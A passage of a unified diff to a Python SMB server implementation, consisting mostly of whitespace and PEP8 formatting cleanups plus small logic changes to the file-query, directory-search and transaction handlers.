UNSUPPORTED - errorCode = STATUS_NOT_SUPPORTED + errorCode = STATUS_NOT_SUPPORTED else: errorCode = STATUS_OBJECT_NAME_NOT_FOUND @@ -684,9 +789,8 @@ def setPathInformation(connId, smbServer, recvPacket, parameters, data, maxDataC return respSetup, respParameters, respData, errorCode - @staticmethod - def setFileInformation(connId, smbServer, recvPacket, parameters, data, maxDataCount = 0): + def setFileInformation(connId, smbServer, recvPacket, parameters, data, maxDataCount=0): connData = smbServer.getConnectionData(connId) respSetup = b'' @@ -702,9 +806,9 @@ def setFileInformation(connId, smbServer, recvPacket, parameters, data, maxDataC if informationLevel == smb.SMB_SET_FILE_DISPOSITION_INFO: infoRecord = smb.SMBSetFileDispositionInfo(parameters) if infoRecord['DeletePending'] > 0: - # Mark this file for removal after closed - connData['OpenedFiles'][setFileInfoParameters['FID']]['DeleteOnClose'] = True - respParameters = smb.SMBSetFileInformationResponse_Parameters() + # Mark this file for removal after closed + connData['OpenedFiles'][setFileInfoParameters['FID']]['DeleteOnClose'] = True + respParameters = smb.SMBSetFileInformationResponse_Parameters() elif informationLevel == smb.SMB_SET_FILE_BASIC_INFO: infoRecord = smb.SMBSetFileBasicInfo(data) # Creation time won't be set, the other ones we play with. @@ -718,17 +822,18 @@ def setFileInformation(connId, smbServer, recvPacket, parameters, data, maxDataC mtime = -1 else: mtime = getUnixTime(mtime) - os.utime(fileName,(atime,mtime)) + os.utime(fileName, (atime, mtime)) elif informationLevel == smb.SMB_SET_FILE_END_OF_FILE_INFO: fileHandle = connData['OpenedFiles'][setFileInfoParameters['FID']]['FileHandle'] infoRecord = smb.SMBSetFileEndOfFileInfo(data) if infoRecord['EndOfFile'] > 0: - os.lseek(fileHandle, infoRecord['EndOfFile']-1, 0) + os.lseek(fileHandle, infoRecord['EndOfFile'] - 1, 0) os.write(fileHandle, b'\x00') else: - smbServer.log('Unknown level for set file info! 0x%x' % setFileInfoParameters['InformationLevel'], logging.ERROR) + smbServer.log('Unknown level for set file info! 0x%x' % setFileInfoParameters['InformationLevel'], + logging.ERROR) # UNSUPPORTED - errorCode = STATUS_NOT_SUPPORTED + errorCode = STATUS_NOT_SUPPORTED else: errorCode = STATUS_NO_SUCH_FILE @@ -742,7 +847,7 @@ def setFileInformation(connId, smbServer, recvPacket, parameters, data, maxDataC return respSetup, respParameters, respData, errorCode @staticmethod - def queryFileInformation(connId, smbServer, recvPacket, parameters, data, maxDataCount = 0): + def queryFileInformation(connId, smbServer, recvPacket, parameters, data, maxDataCount=0): connData = smbServer.getConnectionData(connId) respSetup = b'' @@ -753,9 +858,10 @@ def queryFileInformation(connId, smbServer, recvPacket, parameters, data, maxDat if recvPacket['Tid'] in connData['ConnectedShares']: if queryFileInfoParameters['FID'] in connData['OpenedFiles']: - fileName = connData['OpenedFiles'][queryFileInfoParameters['FID']]['FileName'] + pathName = connData['OpenedFiles'][queryFileInfoParameters['FID']]['FileName'] - infoRecord, errorCode = queryFileInformation('', fileName, queryFileInfoParameters['InformationLevel']) + infoRecord, errorCode = queryFileInformation(os.path.dirname(pathName), os.path.basename(pathName), + queryFileInfoParameters['InformationLevel']) if infoRecord is not None: respParameters = smb.SMBQueryFileInformationResponse_Parameters() @@ -770,7 +876,7 @@ def queryFileInformation(connId, smbServer, recvPacket, parameters, data, maxDat return respSetup, respParameters, respData, errorCode @staticmethod - def queryPathInformation(connId, smbServer, recvPacket, parameters, data, maxDataCount = 0): + def queryPathInformation(connId, smbServer, recvPacket, parameters, data, maxDataCount=0): connData = smbServer.getConnectionData(connId) respSetup = b'' @@ -778,7 +884,7 @@ def queryPathInformation(connId, smbServer, recvPacket, parameters, data, maxDat respData = b'' errorCode = 0 - queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters) + queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags=recvPacket['Flags2'], data=parameters) if recvPacket['Tid'] in connData['ConnectedShares']: path = connData['ConnectedShares'][recvPacket['Tid']]['path'] @@ -787,30 +893,30 @@ def queryPathInformation(connId, smbServer, recvPacket, parameters, data, maxDat queryPathInfoParameters['FileName']), queryPathInfoParameters['InformationLevel']) except Exception as e: - smbServer.log("queryPathInformation: %s" % e,logging.ERROR) + smbServer.log("queryPathInformation: %s" % e, logging.ERROR) if infoRecord is not None: respParameters = smb.SMBQueryPathInformationResponse_Parameters() respData = infoRecord else: errorCode = STATUS_SMB_BAD_TID - + smbServer.setConnectionData(connId, connData) return respSetup, respParameters, respData, errorCode @staticmethod - def queryFsInformation(connId, smbServer, recvPacket, parameters, data, maxDataCount = 0): + def queryFsInformation(connId, smbServer, recvPacket, parameters, data, maxDataCount=0): connData = smbServer.getConnectionData(connId) errorCode = 0 # Get the Tid associated if recvPacket['Tid'] in connData['ConnectedShares']: data = queryFsInformation(connData['ConnectedShares'][recvPacket['Tid']]['path'], '', - struct.unpack('= maxDataCount or (i[0]+1) >= findNext2Parameters['SearchCount']: + if (totalData + lenData) >= maxDataCount or (i[0] + 1) >= findNext2Parameters['SearchCount']: # We gotta stop here and continue on a find_next2 endOfSearch = 0 connData['SIDs'][sid] = searchResult[i[0]:] respParameters['LastNameOffset'] = totalData break else: - searchCount +=1 + searchCount += 1 respData += data totalData += lenData - + # Have we reached the end of the search or still stuff to send? if endOfSearch > 0: # Let's remove the SID from our ConnData - del(connData['SIDs'][sid]) + del (connData['SIDs'][sid]) respParameters['EndOfSearch'] = endOfSearch respParameters['SearchCount'] = searchCount - else: + else: errorCode = STATUS_INVALID_HANDLE else: - errorCode = STATUS_SMB_BAD_TID + errorCode = STATUS_SMB_BAD_TID smbServer.setConnectionData(connId, connData) @@ -867,55 +973,63 @@ def findFirst2(connId, smbServer, recvPacket, parameters, data, maxDataCount): respSetup = b'' respParameters = b'' respData = b'' - findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters) + findFirst2Parameters = smb.SMBFindFirst2_Parameters(recvPacket['Flags2'], data=parameters) if recvPacket['Tid'] in connData['ConnectedShares']: path = connData['ConnectedShares'][recvPacket['Tid']]['path'] - searchResult, searchCount, errorCode = findFirst2(path, - decodeSMBString( recvPacket['Flags2'], findFirst2Parameters['FileName'] ), - findFirst2Parameters['InformationLevel'], - findFirst2Parameters['SearchAttributes'] , pktFlags = recvPacket['Flags2']) - - respParameters = smb.SMBFindFirst2Response_Parameters() - endOfSearch = 1 - sid = 0x80 # default SID - searchCount = 0 - totalData = 0 - for i in enumerate(searchResult): - #i[1].dump() - data = i[1].getData() - lenData = len(data) - if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']: - # We gotta stop here and continue on a find_next2 - endOfSearch = 0 - # Simple way to generate a fid - if len(connData['SIDs']) == 0: - sid = 1 + searchResult, searchCount, errorCode = findFirst2(path, + decodeSMBString(recvPacket['Flags2'], + findFirst2Parameters['FileName']), + findFirst2Parameters['InformationLevel'], + findFirst2Parameters['SearchAttributes'], + pktFlags=recvPacket['Flags2']) + + if searchCount > 0: + respParameters = smb.SMBFindFirst2Response_Parameters() + endOfSearch = 1 + sid = 0x80 # default SID + searchCount = 0 + totalData = 0 + for i in enumerate(searchResult): + # i[1].dump() + data = i[1].getData() + lenData = len(data) + if (totalData + lenData) >= maxDataCount or (i[0] + 1) > findFirst2Parameters['SearchCount']: + # We gotta stop here and continue on a find_next2 + endOfSearch = 0 + # Simple way to generate a fid + if len(connData['SIDs']) == 0: + sid = 1 + else: + sid = list(connData['SIDs'].keys())[-1] + 1 + # Store the remaining search results in the ConnData SID + connData['SIDs'][sid] = searchResult[i[0]:] + respParameters['LastNameOffset'] = totalData + break else: - sid = list(connData['SIDs'].keys())[-1] + 1 - # Store the remaining search results in the ConnData SID - connData['SIDs'][sid] = searchResult[i[0]:] - respParameters['LastNameOffset'] = totalData - break - else: - searchCount +=1 - respData += data + searchCount += 1 + respData += data + + padLen = (8 - (lenData % 8)) % 8 + respData += b'\xaa' * padLen + totalData += lenData + padLen - padLen = (8-(lenData % 8)) %8 - respData += b'\xaa'*padLen - totalData += lenData + padLen + respParameters['SID'] = sid + respParameters['EndOfSearch'] = endOfSearch + respParameters['SearchCount'] = searchCount - respParameters['SID'] = sid - respParameters['EndOfSearch'] = endOfSearch - respParameters['SearchCount'] = searchCount + # If we've empty files and errorCode was not already set, we return NO_SUCH_FILE + elif errorCode == 0: + errorCode = STATUS_NO_SUCH_FILE else: - errorCode = STATUS_SMB_BAD_TID + errorCode = STATUS_SMB_BAD_TID smbServer.setConnectionData(connId, connData) return respSetup, respParameters, respData, errorCode + # Here we implement the commands handlers class SMBCommands: @@ -925,16 +1039,16 @@ def smbTransaction(connId, smbServer, SMBCommand, recvPacket, transCommands): respSMBCommand = smb.SMBCommand(recvPacket['Command']) - transParameters= smb.SMBTransaction_Parameters(SMBCommand['Parameters']) + transParameters = smb.SMBTransaction_Parameters(SMBCommand['Parameters']) # Do the stuff if transParameters['ParameterCount'] != transParameters['TotalParameterCount']: - # TODO: Handle partial parameters + # TODO: Handle partial parameters raise Exception("Unsupported partial parameters in TRANSACT2!") else: - transData = smb.SMBTransaction_SData(flags = recvPacket['Flags2']) - # Standard says servers shouldn't trust Parameters and Data comes - # in order, so we have to parse the offsets, ugly + transData = smb.SMBTransaction_SData(flags=recvPacket['Flags2']) + # Standard says servers shouldn't trust Parameters and Data comes + # in order, so we have to parse the offsets, ugly paramCount = transParameters['ParameterCount'] transData['Trans_ParametersLength'] = paramCount @@ -943,142 +1057,141 @@ def smbTransaction(connId, smbServer, SMBCommand, recvPacket, transCommands): transData.fromString(SMBCommand['Data']) if transParameters['ParameterOffset'] > 0: paramOffset = transParameters['ParameterOffset'] - 63 - transParameters['SetupLength'] - transData['Trans_Parameters'] = SMBCommand['Data'][paramOffset:paramOffset+paramCount] + transData['Trans_Parameters'] = SMBCommand['Data'][paramOffset:paramOffset + paramCount] else: transData['Trans_Parameters'] = b'' if transParameters['DataOffset'] > 0: dataOffset = transParameters['DataOffset'] - 63 - transParameters['SetupLength'] transData['Trans_Data'] = SMBCommand['Data'][dataOffset:dataOffset + dataCount] - else: + else: transData['Trans_Data'] = b'' - + # Call the handler for this TRANSACTION if transParameters['SetupCount'] == 0: # No subcommand, let's play with the Name - command = decodeSMBString(recvPacket['Flags2'],transData['Name']) + command = decodeSMBString(recvPacket['Flags2'], transData['Name']) else: command = struct.unpack(' 0 or remainingParameters > 0: - respSMBCommand = smb.SMBCommand(recvPacket['Command']) - respParameters = smb.SMBTransactionResponse_Parameters() - respData = smb.SMBTransaction2Response_Data() - - respParameters['TotalParameterCount'] = len(parameters) - respParameters['ParameterCount'] = len(parameters) - respData['Trans_ParametersLength'] = len(parameters) - respParameters['TotalDataCount'] = len(data) - respParameters['DataDisplacement'] = dataDisplacement - - # TODO: Do the same for parameters - if len(data) > transParameters['MaxDataCount']: - # Answer doesn't fit in this packet - LOG.debug("Lowering answer from %d to %d" % (len(data),transParameters['MaxDataCount']) ) - respParameters['DataCount'] = transParameters['MaxDataCount'] - else: - respParameters['DataCount'] = len(data) - - respData['Trans_DataLength'] = respParameters['DataCount'] - respParameters['SetupCount'] = len(setup) - respParameters['Setup'] = setup - # TODO: Make sure we're calculating the pad right - if len(parameters) > 0: - #padLen = 4 - (55 + len(setup)) % 4 - padLen = (4 - (55 + len(setup)) % 4 ) % 4 - padBytes = b'\xFF' * padLen - respData['Pad1'] = padBytes - respParameters['ParameterOffset'] = 55 + len(setup) + padLen - else: - padLen = 0 - respParameters['ParameterOffset'] = 0 - respData['Pad1'] = b'' - - if len(data) > 0: - #pad2Len = 4 - (55 + len(setup) + padLen + len(parameters)) % 4 - pad2Len = (4 - (55 + len(setup) + padLen + len(parameters)) % 4) % 4 - respData['Pad2'] = b'\xFF' * pad2Len - respParameters['DataOffset'] = 55 + len(setup) + padLen + len(parameters) + pad2Len - else: - respParameters['DataOffset'] = 0 - respData['Pad2'] = b'' - - respData['Trans_Parameters'] = parameters[:respParameters['ParameterCount']] - respData['Trans_Data'] = data[:respParameters['DataCount']] - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData - - data = data[respParameters['DataCount']:] - remainingData -= respParameters['DataCount'] - dataDisplacement += respParameters['DataCount'] + 1 - - parameters = parameters[respParameters['ParameterCount']:] - remainingParameters -= respParameters['ParameterCount'] - commands.append(respSMBCommand) - - smbServer.setConnectionData(connId, connData) - return commands, None, errorCode + # Call the TRANS subcommand + setup = b'' + parameters = b'' + data = b'' + try: + setup, parameters, data, errorCode = transCommands[command](connId, + smbServer, + recvPacket, + transData['Trans_Parameters'], + transData['Trans_Data'], + transParameters['MaxDataCount']) + except Exception as e: + # print 'Transaction: %s' % e,e + smbServer.log('Transaction: (%r,%s)' % (command, e), logging.ERROR) + errorCode = STATUS_ACCESS_DENIED + # raise + + if setup == b'' and parameters == b'' and data == b'': + # Something wen't wrong + respParameters = b'' + respData = b'' + else: + # Build the answer + if hasattr(data, 'getData'): + data = data.getData() + remainingData = len(data) + if hasattr(parameters, 'getData'): + parameters = parameters.getData() + remainingParameters = len(parameters) + commands = [] + dataDisplacement = 0 + while remainingData > 0 or remainingParameters > 0: + respSMBCommand = smb.SMBCommand(recvPacket['Command']) + respParameters = smb.SMBTransactionResponse_Parameters() + respData = smb.SMBTransaction2Response_Data() + + respParameters['TotalParameterCount'] = len(parameters) + respParameters['ParameterCount'] = len(parameters) + respData['Trans_ParametersLength'] = len(parameters) + respParameters['TotalDataCount'] = len(data) + respParameters['DataDisplacement'] = dataDisplacement + + # TODO: Do the same for parameters + if len(data) > transParameters['MaxDataCount']: + # Answer doesn't fit in this packet + LOG.debug("Lowering answer from %d to %d" % (len(data), transParameters['MaxDataCount'])) + respParameters['DataCount'] = transParameters['MaxDataCount'] + else: + respParameters['DataCount'] = len(data) + + respData['Trans_DataLength'] = respParameters['DataCount'] + respParameters['SetupCount'] = len(setup) + respParameters['Setup'] = setup + # TODO: Make sure we're calculating the pad right + if len(parameters) > 0: + # padLen = 4 - (55 + len(setup)) % 4 + padLen = (4 - (55 + len(setup)) % 4) % 4 + padBytes = b'\xFF' * padLen + respData['Pad1'] = padBytes + respParameters['ParameterOffset'] = 55 + len(setup) + padLen + else: + padLen = 0 + respParameters['ParameterOffset'] = 0 + respData['Pad1'] = b'' + + if len(data) > 0: + # pad2Len = 4 - (55 + len(setup) + padLen + len(parameters)) % 4 + pad2Len = (4 - (55 + len(setup) + padLen + len(parameters)) % 4) % 4 + respData['Pad2'] = b'\xFF' * pad2Len + respParameters['DataOffset'] = 55 + len(setup) + padLen + len(parameters) + pad2Len + else: + respParameters['DataOffset'] = 0 + respData['Pad2'] = b'' + + respData['Trans_Parameters'] = parameters[:respParameters['ParameterCount']] + respData['Trans_Data'] = data[:respParameters['DataCount']] + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData + + data = data[respParameters['DataCount']:] + remainingData -= respParameters['DataCount'] + dataDisplacement += respParameters['DataCount'] + 1 + + parameters = parameters[respParameters['ParameterCount']:] + remainingParameters -= respParameters['ParameterCount'] + commands.append(respSMBCommand) + + smbServer.setConnectionData(connId, connData) + return commands, None, errorCode else: - smbServer.log("Unsupported Transact command %r" % command, logging.ERROR) - respParameters = b'' - respData = b'' - errorCode = STATUS_NOT_IMPLEMENTED + smbServer.log("Unsupported Transact command %r" % command, logging.ERROR) + respParameters = b'' + respData = b'' + errorCode = STATUS_NOT_IMPLEMENTED - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode - @staticmethod def smbNTTransact(connId, smbServer, SMBCommand, recvPacket, transCommands): connData = smbServer.getConnectionData(connId) respSMBCommand = smb.SMBCommand(recvPacket['Command']) - NTTransParameters= smb.SMBNTTransaction_Parameters(SMBCommand['Parameters']) + NTTransParameters = smb.SMBNTTransaction_Parameters(SMBCommand['Parameters']) # Do the stuff if NTTransParameters['ParameterCount'] != NTTransParameters['TotalParameterCount']: - # TODO: Handle partial parameters + # TODO: Handle partial parameters raise Exception("Unsupported partial parameters in NTTrans!") else: NTTransData = smb.SMBNTTransaction_Data() - # Standard says servers shouldn't trust Parameters and Data comes - # in order, so we have to parse the offsets, ugly + # Standard says servers shouldn't trust Parameters and Data comes + # in order, so we have to parse the offsets, ugly paramCount = NTTransParameters['ParameterCount'] NTTransData['NT_Trans_ParametersLength'] = paramCount @@ -1087,139 +1200,138 @@ def smbNTTransact(connId, smbServer, SMBCommand, recvPacket, transCommands): if NTTransParameters['ParameterOffset'] > 0: paramOffset = NTTransParameters['ParameterOffset'] - 73 - NTTransParameters['SetupLength'] - NTTransData['NT_Trans_Parameters'] = SMBCommand['Data'][paramOffset:paramOffset+paramCount] + NTTransData['NT_Trans_Parameters'] = SMBCommand['Data'][paramOffset:paramOffset + paramCount] else: NTTransData['NT_Trans_Parameters'] = b'' if NTTransParameters['DataOffset'] > 0: dataOffset = NTTransParameters['DataOffset'] - 73 - NTTransParameters['SetupLength'] NTTransData['NT_Trans_Data'] = SMBCommand['Data'][dataOffset:dataOffset + dataCount] - else: + else: NTTransData['NT_Trans_Data'] = b'' # Call the handler for this TRANSACTION command = NTTransParameters['Function'] if command in transCommands: - # Call the NT TRANS subcommand - setup = b'' - parameters = b'' - data = b'' - try: - setup, parameters, data, errorCode = transCommands[command](connId, - smbServer, - recvPacket, - NTTransData['NT_Trans_Parameters'], - NTTransData['NT_Trans_Data'], - NTTransParameters['MaxDataCount']) - except Exception as e: - smbServer.log('NTTransaction: (0x%x,%s)' % (command, e), logging.ERROR) - errorCode = STATUS_ACCESS_DENIED - #raise - - if setup == b'' and parameters == b'' and data == b'': - # Something wen't wrong - respParameters = b'' - respData = b'' - if errorCode == STATUS_SUCCESS: - errorCode = STATUS_ACCESS_DENIED - else: - # Build the answer - if hasattr(data, 'getData'): - data = data.getData() - remainingData = len(data) - if hasattr(parameters, 'getData'): - parameters = parameters.getData() - remainingParameters = len(parameters) - commands = [] - dataDisplacement = 0 - while remainingData > 0 or remainingParameters > 0: - respSMBCommand = smb.SMBCommand(recvPacket['Command']) - respParameters = smb.SMBNTTransactionResponse_Parameters() - respData = smb.SMBNTTransactionResponse_Data() - - respParameters['TotalParameterCount'] = len(parameters) - respParameters['ParameterCount'] = len(parameters) - respData['Trans_ParametersLength'] = len(parameters) - respParameters['TotalDataCount'] = len(data) - respParameters['DataDisplacement'] = dataDisplacement - # TODO: Do the same for parameters - if len(data) > NTTransParameters['MaxDataCount']: - # Answer doesn't fit in this packet - LOG.debug("Lowering answer from %d to %d" % (len(data),NTTransParameters['MaxDataCount']) ) - respParameters['DataCount'] = NTTransParameters['MaxDataCount'] - else: - respParameters['DataCount'] = len(data) - - respData['NT_Trans_DataLength'] = respParameters['DataCount'] - respParameters['SetupCount'] = len(setup) - respParameters['Setup'] = setup - # TODO: Make sure we're calculating the pad right - if len(parameters) > 0: - #padLen = 4 - (71 + len(setup)) % 4 - padLen = (4 - (73 + len(setup)) % 4 ) % 4 - padBytes = b'\xFF' * padLen - respData['Pad1'] = padBytes - respParameters['ParameterOffset'] = 73 + len(setup) + padLen - else: - padLen = 0 - respParameters['ParameterOffset'] = 0 - respData['Pad1'] = b'' - - if len(data) > 0: - #pad2Len = 4 - (71 + len(setup) + padLen + len(parameters)) % 4 - pad2Len = (4 - (73 + len(setup) + padLen + len(parameters)) % 4) % 4 - respData['Pad2'] = b'\xFF' * pad2Len - respParameters['DataOffset'] = 73 + len(setup) + padLen + len(parameters) + pad2Len - else: - respParameters['DataOffset'] = 0 - respData['Pad2'] = b'' - - respData['NT_Trans_Parameters'] = parameters[:respParameters['ParameterCount']] - respData['NT_Trans_Data'] = data[:respParameters['DataCount']] - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData - - data = data[respParameters['DataCount']:] - remainingData -= respParameters['DataCount'] - dataDisplacement += respParameters['DataCount'] + 1 - - parameters = parameters[respParameters['ParameterCount']:] - remainingParameters -= respParameters['ParameterCount'] - commands.append(respSMBCommand) - - smbServer.setConnectionData(connId, connData) - return commands, None, errorCode + # Call the NT TRANS subcommand + setup = b'' + parameters = b'' + data = b'' + try: + setup, parameters, data, errorCode = transCommands[command](connId, + smbServer, + recvPacket, + NTTransData['NT_Trans_Parameters'], + NTTransData['NT_Trans_Data'], + NTTransParameters['MaxDataCount']) + except Exception as e: + smbServer.log('NTTransaction: (0x%x,%s)' % (command, e), logging.ERROR) + errorCode = STATUS_ACCESS_DENIED + # raise + + if setup == b'' and parameters == b'' and data == b'': + # Something wen't wrong + respParameters = b'' + respData = b'' + if errorCode == STATUS_SUCCESS: + errorCode = STATUS_ACCESS_DENIED + else: + # Build the answer + if hasattr(data, 'getData'): + data = data.getData() + remainingData = len(data) + if hasattr(parameters, 'getData'): + parameters = parameters.getData() + remainingParameters = len(parameters) + commands = [] + dataDisplacement = 0 + while remainingData > 0 or remainingParameters > 0: + respSMBCommand = smb.SMBCommand(recvPacket['Command']) + respParameters = smb.SMBNTTransactionResponse_Parameters() + respData = smb.SMBNTTransactionResponse_Data() + + respParameters['TotalParameterCount'] = len(parameters) + respParameters['ParameterCount'] = len(parameters) + respData['Trans_ParametersLength'] = len(parameters) + respParameters['TotalDataCount'] = len(data) + respParameters['DataDisplacement'] = dataDisplacement + # TODO: Do the same for parameters + if len(data) > NTTransParameters['MaxDataCount']: + # Answer doesn't fit in this packet + LOG.debug("Lowering answer from %d to %d" % (len(data), NTTransParameters['MaxDataCount'])) + respParameters['DataCount'] = NTTransParameters['MaxDataCount'] + else: + respParameters['DataCount'] = len(data) + + respData['NT_Trans_DataLength'] = respParameters['DataCount'] + respParameters['SetupCount'] = len(setup) + respParameters['Setup'] = setup + # TODO: Make sure we're calculating the pad right + if len(parameters) > 0: + # padLen = 4 - (71 + len(setup)) % 4 + padLen = (4 - (73 + len(setup)) % 4) % 4 + padBytes = b'\xFF' * padLen + respData['Pad1'] = padBytes + respParameters['ParameterOffset'] = 73 + len(setup) + padLen + else: + padLen = 0 + respParameters['ParameterOffset'] = 0 + respData['Pad1'] = b'' + + if len(data) > 0: + # pad2Len = 4 - (71 + len(setup) + padLen + len(parameters)) % 4 + pad2Len = (4 - (73 + len(setup) + padLen + len(parameters)) % 4) % 4 + respData['Pad2'] = b'\xFF' * pad2Len + respParameters['DataOffset'] = 73 + len(setup) + padLen + len(parameters) + pad2Len + else: + respParameters['DataOffset'] = 0 + respData['Pad2'] = b'' + + respData['NT_Trans_Parameters'] = parameters[:respParameters['ParameterCount']] + respData['NT_Trans_Data'] = data[:respParameters['DataCount']] + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData + + data = data[respParameters['DataCount']:] + remainingData -= respParameters['DataCount'] + dataDisplacement += respParameters['DataCount'] + 1 + + parameters = parameters[respParameters['ParameterCount']:] + remainingParameters -= respParameters['ParameterCount'] + commands.append(respSMBCommand) + + smbServer.setConnectionData(connId, connData) + return commands, None, errorCode else: - #smbServer.log("Unsupported NTTransact command 0x%x" % command, logging.ERROR) - respParameters = b'' - respData = b'' - errorCode = STATUS_NOT_IMPLEMENTED + # smbServer.log("Unsupported NTTransact command 0x%x" % command, logging.ERROR) + respParameters = b'' + respData = b'' + errorCode = STATUS_NOT_IMPLEMENTED - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode - @staticmethod def smbTransaction2(connId, smbServer, SMBCommand, recvPacket, transCommands): connData = smbServer.getConnectionData(connId) respSMBCommand = smb.SMBCommand(recvPacket['Command']) - trans2Parameters= smb.SMBTransaction2_Parameters(SMBCommand['Parameters']) + trans2Parameters = smb.SMBTransaction2_Parameters(SMBCommand['Parameters']) # Do the stuff if trans2Parameters['ParameterCount'] != trans2Parameters['TotalParameterCount']: - # TODO: Handle partial parameters - #print "Unsupported partial parameters in TRANSACT2!" + # TODO: Handle partial parameters + # print "Unsupported partial parameters in TRANSACT2!" raise Exception("Unsupported partial parameters in TRANSACT2!") else: trans2Data = smb.SMBTransaction2_Data() - # Standard says servers shouldn't trust Parameters and Data comes - # in order, so we have to parse the offsets, ugly + # Standard says servers shouldn't trust Parameters and Data comes + # in order, so we have to parse the offsets, ugly paramCount = trans2Parameters['ParameterCount'] trans2Data['Trans_ParametersLength'] = paramCount @@ -1228,113 +1340,113 @@ def smbTransaction2(connId, smbServer, SMBCommand, recvPacket, transCommands): if trans2Parameters['ParameterOffset'] > 0: paramOffset = trans2Parameters['ParameterOffset'] - 63 - trans2Parameters['SetupLength'] - trans2Data['Trans_Parameters'] = SMBCommand['Data'][paramOffset:paramOffset+paramCount] + trans2Data['Trans_Parameters'] = SMBCommand['Data'][paramOffset:paramOffset + paramCount] else: trans2Data['Trans_Parameters'] = b'' if trans2Parameters['DataOffset'] > 0: dataOffset = trans2Parameters['DataOffset'] - 63 - trans2Parameters['SetupLength'] trans2Data['Trans_Data'] = SMBCommand['Data'][dataOffset:dataOffset + dataCount] - else: + else: trans2Data['Trans_Data'] = b'' # Call the handler for this TRANSACTION command = struct.unpack(' 0 or remainingParameters > 0: - respSMBCommand = smb.SMBCommand(recvPacket['Command']) - respParameters = smb.SMBTransaction2Response_Parameters() - respData = smb.SMBTransaction2Response_Data() - - respParameters['TotalParameterCount'] = len(parameters) - respParameters['ParameterCount'] = len(parameters) - respData['Trans_ParametersLength'] = len(parameters) - respParameters['TotalDataCount'] = len(data) - respParameters['DataDisplacement'] = dataDisplacement - # TODO: Do the same for parameters - if len(data) > trans2Parameters['MaxDataCount']: - # Answer doesn't fit in this packet - LOG.debug("Lowering answer from %d to %d" % (len(data),trans2Parameters['MaxDataCount']) ) - respParameters['DataCount'] = trans2Parameters['MaxDataCount'] - else: - respParameters['DataCount'] = len(data) - - respData['Trans_DataLength'] = respParameters['DataCount'] - respParameters['SetupCount'] = len(setup) - respParameters['Setup'] = setup - # TODO: Make sure we're calculating the pad right - if len(parameters) > 0: - #padLen = 4 - (55 + len(setup)) % 4 - padLen = (4 - (55 + len(setup)) % 4 ) % 4 - padBytes = b'\xFF' * padLen - respData['Pad1'] = padBytes - respParameters['ParameterOffset'] = 55 + len(setup) + padLen - else: - padLen = 0 - respParameters['ParameterOffset'] = 0 - respData['Pad1'] = b'' - - if len(data) > 0: - #pad2Len = 4 - (55 + len(setup) + padLen + len(parameters)) % 4 - pad2Len = (4 - (55 + len(setup) + padLen + len(parameters)) % 4) % 4 - respData['Pad2'] = b'\xFF' * pad2Len - respParameters['DataOffset'] = 55 + len(setup) + padLen + len(parameters) + pad2Len - else: - respParameters['DataOffset'] = 0 - respData['Pad2'] = b'' - - respData['Trans_Parameters'] = parameters[:respParameters['ParameterCount']] - respData['Trans_Data'] = data[:respParameters['DataCount']] - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData - - data = data[respParameters['DataCount']:] - remainingData -= respParameters['DataCount'] - dataDisplacement += respParameters['DataCount'] + 1 - - parameters = parameters[respParameters['ParameterCount']:] - remainingParameters -= respParameters['ParameterCount'] - commands.append(respSMBCommand) - - smbServer.setConnectionData(connId, connData) - return commands, None, errorCode + # Call the TRANS2 subcommand + try: + setup, parameters, data, errorCode = transCommands[command](connId, + smbServer, + recvPacket, + trans2Data['Trans_Parameters'], + trans2Data['Trans_Data'], + trans2Parameters['MaxDataCount']) + except Exception as e: + smbServer.log('Transaction2: (0x%x,%s)' % (command, e), logging.ERROR) + # import traceback + # traceback.print_exc() + raise + + if setup == b'' and parameters == b'' and data == b'': + # Something wen't wrong + respParameters = b'' + respData = b'' + else: + # Build the answer + if hasattr(data, 'getData'): + data = data.getData() + remainingData = len(data) + if hasattr(parameters, 'getData'): + parameters = parameters.getData() + remainingParameters = len(parameters) + commands = [] + dataDisplacement = 0 + while remainingData > 0 or remainingParameters > 0: + respSMBCommand = smb.SMBCommand(recvPacket['Command']) + respParameters = smb.SMBTransaction2Response_Parameters() + respData = smb.SMBTransaction2Response_Data() + + respParameters['TotalParameterCount'] = len(parameters) + respParameters['ParameterCount'] = len(parameters) + respData['Trans_ParametersLength'] = len(parameters) + respParameters['TotalDataCount'] = len(data) + respParameters['DataDisplacement'] = dataDisplacement + # TODO: Do the same for parameters + if len(data) > trans2Parameters['MaxDataCount']: + # Answer doesn't fit in this packet + LOG.debug("Lowering answer from %d to %d" % (len(data), trans2Parameters['MaxDataCount'])) + respParameters['DataCount'] = trans2Parameters['MaxDataCount'] + else: + respParameters['DataCount'] = len(data) + + respData['Trans_DataLength'] = respParameters['DataCount'] + respParameters['SetupCount'] = len(setup) + respParameters['Setup'] = setup + # TODO: Make sure we're calculating the pad right + if len(parameters) > 0: + # padLen = 4 - (55 + len(setup)) % 4 + padLen = (4 - (55 + len(setup)) % 4) % 4 + padBytes = b'\xFF' * padLen + respData['Pad1'] = padBytes + respParameters['ParameterOffset'] = 55 + len(setup) + padLen + else: + padLen = 0 + respParameters['ParameterOffset'] = 0 + respData['Pad1'] = b'' + + if len(data) > 0: + # pad2Len = 4 - (55 + len(setup) + padLen + len(parameters)) % 4 + pad2Len = (4 - (55 + len(setup) + padLen + len(parameters)) % 4) % 4 + respData['Pad2'] = b'\xFF' * pad2Len + respParameters['DataOffset'] = 55 + len(setup) + padLen + len(parameters) + pad2Len + else: + respParameters['DataOffset'] = 0 + respData['Pad2'] = b'' + + respData['Trans_Parameters'] = parameters[:respParameters['ParameterCount']] + respData['Trans_Data'] = data[:respParameters['DataCount']] + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData + + data = 